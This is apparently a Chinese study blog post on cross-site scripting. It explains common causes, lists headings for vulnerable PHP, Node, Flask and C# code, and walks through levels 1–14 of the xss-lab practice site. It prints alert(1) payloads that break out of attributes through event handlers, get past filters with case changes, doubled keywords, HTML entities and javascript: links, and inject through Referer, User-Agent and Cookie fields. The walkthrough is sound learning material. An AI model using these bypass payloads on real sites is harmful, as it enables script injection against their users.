初探XSS
XSS学习
前言
在IoT设备中,也有遇到过XSS的情况,在此学习ing
XSS简介
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
1 |
|
产生层面
产生层面一般都是在前端,JavaScript代码能干什么,执行之后就会达到相应的效果
函数类
比如说php中的脚本的输出函数
常见的输出函数有:print
、print_r
、echo
、printf
、sprintf
、die
、var_dump
、var_export
其实归根结底,XSS的攻击方式就是想办法“教唆”用户的浏览器去执行一些这个网页中原本不存在的前端代码。
什么导致xss
输入验证和清理不足
Web 应用程序接受用户数据(例如通过表单),并使用这些数据动态生成 HTML 页面。因此,恶意脚本可以作为合法输入的一部分嵌入,并最终由浏览器执行,除非经过充分清理。
缺乏输出编码
用户可以使用各种字符来改变 Web 浏览器处理和显示网页的方式。对于 HTML 部分,将<
、>
、"
、'
和&
等字符正确编码为各自的 HTML 编码至关重要。对于 JavaScript,应特别注意转义'
、"
和\
。无法正确编码用户提供的数据是导致XSS漏洞的主要原因。
安全标头使用不当
各种安全标头都可以帮助缓解XSS漏洞。例如,内容安全策略 ( CSP )通过定义哪些来源可信任可执行脚本来缓解XSS风险。配置错误的CSP(例如过于宽松的策略或不当使用unsafe-inline
或unsafe-eval
指令)可能会让攻击者更容易执行其XSS负载。
框架和语言漏洞
一些较旧的 Web 框架未提供针对XSS的安全机制;其他一些框架存在未修补的XSS漏洞。现代 Web 框架在设计上会自动避开XSS,并及时修补任何发现的漏洞。
第三方库
在 Web 应用程序中集成第三方库可能会引入XSS漏洞;即使核心 Web 应用程序不易受到攻击。
Bug code
一个简单的反射型XSS漏洞是当用户搜索某个术语时,搜索字符串会逐字包含在结果页面中。这种简单的情况为攻击者提供了一个容易利用的目标。
PHP
1 |
|
JS
1 | const express = require('express'); |
Python(Flask)
1 | from flask import Flask, request |
C#
1 | public void Page_Load(object sender, EventArgs e) |
xss-lab
level1
直接输入?name=<script>alert(1)</script>
就可以发现没被过滤直接成功
level2
照常输入?name=<script>alert(1)</script>
F12发现被转义成
1 | <script>alert(1);</script> |
但是往下看会发现
1 | <input name=keyword value="<script>alert(1);</script>"> |
在value中没被转义,因此可以构造
1 | <input name=keyword value=""><script>alert(1);</script><""> |
即输入 ?name="><script>alert(1);</script><"
level3
这一题涉及一个知识点
在 8.1.0 及以上的 PHP 版本中,这个函数默认会转义 <
、>
、&
、'
、"
这五个字符,基本可以防范这里的 XSS 攻击。
但是,8.1.0 以下版本的 PHP 默认只会转义 <
、>
、&
、"
这四个字符,不会转义单引号 '
。这就给这个函数带来了巨大的安全隐患。
我们可以通过探测语句来看到这一点
1 | ' |
打进去看见
1 | <h2 align=center>没有找到和' " () < > <script> </script> <Script> </Script> <scrscriptipt> <SCRscriptIPT> Onerror onerror javascript: JavaScript: <!-- --> eval() <a> <img> <iframe> <form> src {} / +相关的结果.</h2><center> |
1 | ' //未被转义 |
没有被过滤单引号,然后发现
1 | <input name=keyword value=''> |
value是通过单引号来闭合的,因此可以提前闭合value,但是没有<>就无法闭合标签,考虑使用触发器
1 | <input name=keyword value='' onblur='alert(1)'> |
?name=' onblur='alert(1)
input没有onerror,而onblur是失去焦点触发,因此搜索框随便输点东西之后点其他地方就成功触发
注意:空格
level4
1 | <h2 align=center>没有找到和' " () < > <script> </script> <Script> </Script> <scrscriptipt> <SCRscriptIPT> Onerror onerror javascript: JavaScript: <!-- --> eval() <a> <img> <iframe> <form> src {} / +相关的结果.</h2><center> |
发现value的双引号未被过滤且双引号闭合,因此类似level3
1 | " onblur="alert(1) |
level5
1 | <h2 align=center>没有找到和' " () < > <script> </script> <script> </script> <scrscriptipt> <scrscriptipt> onerror onerror javascript: javascript: <!-- --> eval() <a> <img> <iframe> <form> src {} / +相关的结果.</h2><center> |
发现<>和javascript未被过滤,但是script和on被转义成scr_ipt和o_n
1 | <input name=keyword value=""><a href="javascript:alert(1)">hack</a><""> |
输入 "><a href="javascript:alert(1)">hack</a><"
成功hack
level6
1 | <h2 align=center>没有找到和' " () < > <script> </script> <Script> </Script> <scrscriptipt> <SCRscriptIPT> Onerror onerror javascript: JavaScript: <!-- --> eval() <a> <img> <iframe> <form> src {} / +相关的结果.</h2><center> |
但是发现
1 | <input name=keyword value=""><a hr_ef="javascript:alert(1)">hack</a><""> |
href被转义掉了,但是看上面的尝试,会发现大写可用,尝试大写hREF成功
HTML大小写不敏感
level7
1 | <h2 align=center>没有找到和' " () < > <script> </script> <script> </script> <scrscriptipt> <scrscriptipt> onerror onerror javascript: javascript: <!-- --> eval() <a> <img> <iframe> <form> src {} / +相关的结果.</h2><center> |
发现script和on都会被过滤掉,但是只过滤了一次,因此
1 | <input name=keyword value=""><scrscriptipt>alert(1);</scrscriptipt><""> |
"><scrscriptipt>alert(1);</scrscriptipt><"
level8
发现输入的值被拼接到
1 | </center><center><BR><a href="11">友情链接</a></center><center><img src=level8.jpg></center> |
href后,但是JavaScript被转义了
1 | </center><center><BR><a href="' " () < > <scr_ipt> </scr_ipt> <scr_ipt> </scr_ipt> <scrscr_iptipt> <scrscr_iptipt> o_nerror o_nerror javascr_ipt: javascr_ipt: <!-- --> eval() <a> <img> <iframe> <form> sr_c {} / +">友情链接</a></center><center><img src=level8.jpg></center> |
这里要用到 href 属性的一个特性:href 传入的 URI 中,也可以使用 HTML 字符实体。在打开链接时,字符实体也会被转换为对应的字符。
1 | javascript:alert(1); |
level9
会检测http://
因此
1 | javascript:alert(1);//http:// |
level10
1 | http://localhost/xss-levels/level10.php?keyword=test&t_link=tlink&t_history=thist&t_sort=tsort |
会发现
1 | <h1 align=center>欢迎来到level10</h1> |
变成这样,因此t_sort是有值的
1 | <input name="t_sort" value="' " () script /script Script /Script scrscriptipt SCRscriptIPT Onerror onerror javascript: JavaScript: !-- -- eval() a img iframe form src {} / " type="hidden"> |
只过滤掉了<>
1 | <input name="t_sort" value="" onmouseover=javascript:alert(1) type="" type="hidden"> |
1 | " onmouseover=javascript:alert(1) type=" |
level11
发现存在referer字段
1 | <input name="t_ref" value="http://localhost/xss-levels/level10.php?keyword=&t_sort=%22%20onmouseover=javascript:alert(1)%20type=%22" type="hidden"> |
BP抓包
讲Referrer改为” onmouseover=javascript:alert(1) type=”通过,成功
level12
1 | <form id=search> |
发现有ua段,显然是用户信息,因此BP修改
1 | <input name="t_ua" value="" onmouseover=javascript:alert(1) type="" type="hidden"> |
level13
1 | <input name="t_link" value="" type="hidden"> |
发现t_sort和t_cook可以通过GETS传参,但是t_cook的原理未知
BP抓包发现
1 | Cookie: user=call+me+maybe%7F |
Cookie的user字段便是t_cook的来源
level14
看源码发现网站貌似是挂了的